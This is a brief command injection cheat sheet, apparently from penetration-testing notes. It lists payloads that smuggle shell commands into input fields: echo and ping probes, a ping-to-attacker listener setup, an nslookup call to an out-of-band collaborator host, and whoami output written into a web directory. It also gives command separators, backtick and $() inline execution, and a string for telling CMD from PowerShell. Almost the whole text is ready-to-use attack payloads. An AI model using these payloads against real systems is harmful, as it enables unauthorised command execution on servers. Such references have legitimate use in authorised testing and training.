Exploitation

Do not forget to use urlencoding

Reflected

& echo test123 &

Blind

& ping -c 10 127.0.0.1 &

Blind (ping rce listener)

Kali:

tcpdump -i <NETWORK_CARD> icmp

Victim:

& ping <KALI_IP> &

BLIND OAST

& nslookup collaborator-link.net &

Blind redirecting the input

& whoami > /var/www/static/whoami.txt &

Command seperators

Copy

&
&&
|
||

More command seperators

Copy

Newline (0x0a or \n)
;

Inline Command Execution (Linux)

Copy

`command`
$(command)

Check if command is executed via cmd or powershell

Copy

(dir 2>&1 *`|echo CMD);&<# rem #>echo PowerShell